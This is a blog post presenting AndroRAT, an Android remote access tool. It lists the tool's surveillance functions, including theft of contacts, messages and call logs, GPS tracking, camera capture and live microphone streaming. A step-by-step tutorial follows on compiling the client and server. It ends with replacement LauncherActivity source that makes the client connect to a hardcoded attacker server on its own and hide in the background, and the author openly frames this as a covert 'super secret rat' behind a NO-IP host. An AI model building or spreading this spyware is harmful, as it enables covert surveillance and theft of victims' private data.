Remote administration tool for Android

Remote Administration Tool for Android (androrat)

Androrat is a client/server application developed in Java Android for the client side and in Java/Swing for the Server.

The name Androrat is a mix of Android and RAT (Remote Access Tool).


It has been developed in a team of 4 for a university project. It has been realised in one month. The goal of the application is to give the control of the android system remotely and retrieve informations from it.

Technical matters

The android application is the client for the server which receive all the connections.The android application run as a service(not an activity) that is started during the boot. So the user does not need to interact with the service (Even though there is a debug activity that allow to configure the IP and the port to connect to).The connection to the server can be triggered by a SMS or a call (this can be configured)

All the available functionalities are

Get contacts (and all theirs informations)Get call logsGet all messagesLocation by GPS/NetworkMonitoring received messages in liveMonitoring phone state in live (call received, call sent, call missed..)Take a picture from the cameraStream sound from microphone (or other sources..)Streaming video (for activity based client only)Do a toastSend a text messageGive callOpen an URL in the default browserDo vibrate the phone

Folders

The project contains the following folders:

doc: Will soonly contain all the documentation about the projectExperiment: Contain an experimental version of the client articulated around an activity wish allow by the way to stream videosrc/Androrat: Contain the source code of the client that should be put on the android plateformsrc/AndroratServer: Contain the sources of the Java/Swing server that can be run on any plateformsrc/api: Contain all the different api used in the project (JMapViewer for the map, forms for swing, and vlcj for video streaming)src/InOut: Contain the code of the content common for the client and the server which is basically the protocol implementation

Screenshots

Main GUI

This is the main GUI where all the clients connected appears. The list is dynamically updated when a new client connects or is disconnected. Moreover a log of all connections and global informations are showed in the log panel at the bottom of the window. A simple double-click on a client open his window to interact with him.

Client Panel

All the actions with client can be made in the client window which is articulated around tabs. The default tab is called Home and provide various functionalities. First as we can see in the left scrollview all the informations about the client like sim infos, battery infos, network infos, sensors infos etc. On the right there is the options which allow remotely to change the configuration of the client like the ip and port to connect to, either or not wait a trigger to intent server connection etc. Finally quick actions can be perfomed in this tab like a toast message, do vibrate the phone or open an URL.

Other tabs

The two screenshots below shows two others tabs for two functionalities which are respectively get contacts and geolocation. As you can see on the get contacts panel the list on the left show all contacts the name, the phone number and the picture if available. Morevover on the right three buttons allow to get more information about the selected contact send him a sms or call him. For Geolocation we can choose our provider either GPS either network that use google to locate. Then the streaming can be started and the map will be updated as soon as data has been received.

Tutorial How to setup

What you will need:

-Android Developer Tools ( download from: http://developer.android.com/sdk/index.html )
-Java runtime installed (download from java website)
-AndroRAT source (download from: https://github.com/RobinDavid/androrat )
-Some basic java knowledge is recommened but not required

Getting started:

Download the developer tools, extract and run extracted_folder\eclipse\eclipse.exe

Should look like this:

 

---Preparing the SDK---

First we will prepare the SDK to compile this one. The SDK came with the basic tools and libraries, but we need to download more packs to compile AndroRAT. In eclipse, click:
-Window
-Android SDK Manager

This should open:

 

I checked the Android App and it needs API level 2.2.
THAT DOES NOT MEAN IT IS ONLY FOR 2.2 !!!
Its the minimum requirement, it will run in GingerBread 2.2 and up! (2.3, HC, ICS, JB)

Select these:

 

and click on install packages, accept anything that pops up, and wait for the download to finish. You might need to relaunch eclipse if you already openned it.

--- Compiling the APK ---

Now go to 
-File
-New
-Project

And select this:

 

On the new window, click browse and select this:

 

And click OK, this should appear:

 

notice that i already checked the project in the screenshot, do the same when you come to this point.

Now click finish and it will load the project into eclipse. (the project name is LauncherActivity )

Now, you can compile this app without problems, but it will ask you on startup (when installed on the phone and launched) for the IP adress of your server (your NO-IP host since you will hide behind that i assume). BUUUUT that wouldnt be much of a super secret rat now, would it? We will change this source later on to make it automaticly configure itself on startup and go to background (I will add that on a later date as Im a android developer who has a lot to do these days and as soon as I finish my next milestone I will update this) 

You can click this button shown on the image to compile the apk (when asked as what you would compile it, select Android Application)

 

Note: the apk will be located in the bin folder inside the project folder!
 

--- Compiling the server ---

Ok now lets compile the server

click on:
-File
-import

Now select this since this is an app for PC

 

Again, click on browse when the new window shows up, and select this:

 

The folder selected is AndroRat server in the src folder found inside the source archive downloaded from github.
Thats the java app which I already compile and is available on HF, but you will want to do it yourself later on as new versions come out.

Again, we have this screen, just tick the project and click on finish:

 

but what is that

 

it shows an error on the project! Well lets take a look...

Right click on the project folder (in eclipse, the icon with the " ! " sign)
and on the new window select this on the left side:

 

and change to the tab from the screenshot (Libraries)

Now we see the culprit who caused the errors! Those libraries with the "x" mark arent found by eclipse, so we will delete them.
Select them all and click on "Remove" (on the right of the window)

Ok but this didnt solve much as the project still needs those libraries. Now we will load them. On the same window click this:

 

Navigate to here: (androrat-master\src\api)

 

You can see all those missing libraries now. Select them all and click on Open. They will be added to the project and we are nearly done now.

Click on OK and watch the errors dissapear.

Clean it is:

 

Now the final step, compile it.
Click on:
File
Export
And select this:

 

Set the options in the next screen to look like here:

 

Then click browse, and choose where it will be saved, like here:

 

Click finish and watch it compiling, you will get 2 warnings, click OK on each one and you can run the compiled jar file!

Result:

 

-- Modifying the apk to autoconfigure to our server --

OK this is really short and easy but I thought earlier it will take a bit more time so I didnt even try till I finished all my work lol. What you have to do is:
-open this class file (LauncherActivity):

 

-delete ALL its content and replace with this:https://dl.dropboxusercontent.com/u/67764496/AndroRat/source.txt

package my.app.client;import my.app.client.R;import android.app.Activity;import android.content.Context;import android.content.Intent;import android.os.Bundle;import android.os.PowerManager;import android.os.PowerManager.WakeLock;import android.view.View;import android.widget.Button;import android.widget.EditText;public class LauncherActivity extends Activity { /** Called when the activity is first created. */ Intent Client, ClientAlt; Button btnStart, btnStop; EditText ipfield, portfield; String myIp = "192.168.137.248"; //Put your IP in these quotes. int myPort = 9999; //Put your port there, notice that there are no quotes here. @Override public void onStart() { super.onStart(); onResume(); } @Override public void onResume() { super.onResume(); setContentView(R.layout.main); Client = new Intent(this, Client.class); Client.setAction(LauncherActivity.class.getName()); btnStart = (Button) findViewById(R.id.buttonstart); btnStop = (Button) findViewById(R.id.buttonstop); ipfield = (EditText) findViewById(R.id.ipfield); portfield = (EditText) findViewById(R.id.portfield); if ( myIp == "" ) { ipfield.setText("192.168.137.1"); portfield.setText("9999"); Client.putExtra("IP", ipfield.getText().toString()); Client.putExtra("PORT", Integer.parseInt(portfield.getText().toString()) ); } else { ipfield.setText(myIp); portfield.setText(String.valueOf(myPort)); Client.putExtra("IP", myIp); Client.putExtra("PORT", myPort ); } startService(Client); btnStart.setEnabled(false); btnStop.setEnabled(true); moveTaskToBack(true); } @Override public void onCreate(Bundle savedInstanceState) { super.onCreate(savedInstanceState); setContentView(R.layout.main); Client = new Intent(this, Client.class); Client.setAction(LauncherActivity.class.getName()); btnStart = (Button) findViewById(R.id.buttonstart); btnStop = (Button) findViewById(R.id.buttonstop); ipfield = (EditText) findViewById(R.id.ipfield); portfield = (EditText) findViewById(R.id.portfield); if ( myIp == "" ) { ipfield.setText("192.168.137.1"); portfield.setText("9999"); Client.putExtra("IP", ipfield.getText().toString()); Client.putExtra("PORT", Integer.parseInt(portfield.getText().toString()) ); } else { ipfield.setText(myIp); portfield.setText(String.valueOf(myPort)); Client.putExtra("IP", myIp); Client.putExtra("PORT", myPort ); } startService(Client); btnStart.setEnabled(false); btnStop.setEnabled(true); //moveTaskToBack(true); }}

-edit the obvious parts: Your Ip goes here Or signup for a noip Account.

 

Instead of the NOIP host you can ofc put your ip there but I dont recommend doing that..

-compile and you are good to go :)

Rahul Developers

Comments

  1. Amazingly nice post regarding Android Remote Administration Tools. I wanted studying your article. i prefer scrutinizing articles on varied focuses. i'm super charmed and can scrutinize your web site for quite an whereas to return. entrancing article keeping connected with the middle. this can be a fantastic composition work. I terribly bring down this composition to everyone.

    ReplyDelete

Post a Comment